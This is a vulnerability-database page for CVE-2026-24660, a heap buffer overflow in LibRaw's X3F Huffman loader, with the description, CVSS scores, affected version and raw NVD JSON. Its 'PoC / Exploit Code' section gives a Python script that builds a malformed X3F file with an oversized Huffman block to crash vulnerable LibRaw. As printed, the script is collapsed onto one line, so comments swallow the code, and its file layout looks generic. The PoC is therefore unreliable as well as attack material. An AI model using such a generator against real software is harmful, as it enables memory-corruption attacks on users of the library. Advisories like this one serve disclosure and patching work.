Security Vulnerability Report
中文
CVE-2026-24660 CVSS 8.1 HIGH

CVE-2026-24660

Published: 2026-04-07 15:17:37
Last Modified: 2026-04-10 20:51:24

Description

A heap-based buffer overflow vulnerability exists in the x3f_load_huffman functionality of LibRaw Commit d20315b. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libraw:libraw:0.22.0:*:*:*:*:*:*:* - VULNERABLE
LibRaw Commit d20315b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-24660 # Description: Generates a malformed X3F file to trigger the heap overflow in x3f_load_huffman. # Usage: python poc.py -> open generated file with vulnerable LibRaw. def generate_malicious_x3f(filename): with open(filename, 'wb') as f: # X3F Header ID f.write(b'FOVb') # Version f.write(struct.pack('<I', 0x00020000)) # Directory Offset (pointing to a location later in the file) f.write(struct.pack('<I', 0x100)) # Header End Padding f.write(b'\x00' * 252) # Directory Entry (Targeting Huffman data) # Tag: 'HUMF' (Huffman) f.write(struct.pack('<I', 0x48554D46)) # Offset to data f.write(struct.pack('<I', 0x200)) # Size of data (Malicious large size) f.write(struct.pack('<I', 0xFFFFFFFF)) f.write(struct.pack('<I', 0)) # Malicious Huffman Data Block # Filling with pattern to trigger overflow condition f.write(b'A' * 0x1000) print(f"[+] Malformed X3F file generated: {filename}") if __name__ == "__main__": generate_malicious_x3f("CVE-2026-24660_poc.x3f")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24660", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:37.213", "lastModified": "2026-04-10T20:51:24.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability exists in the x3f_load_huffman functionality of LibRaw Commit d20315b. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.0:*:*:*:*:*:*:*", "matchCriteriaId": "9ACBEE8D-088E-4185-BD49-B862B996D3C6"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2359", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2359", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}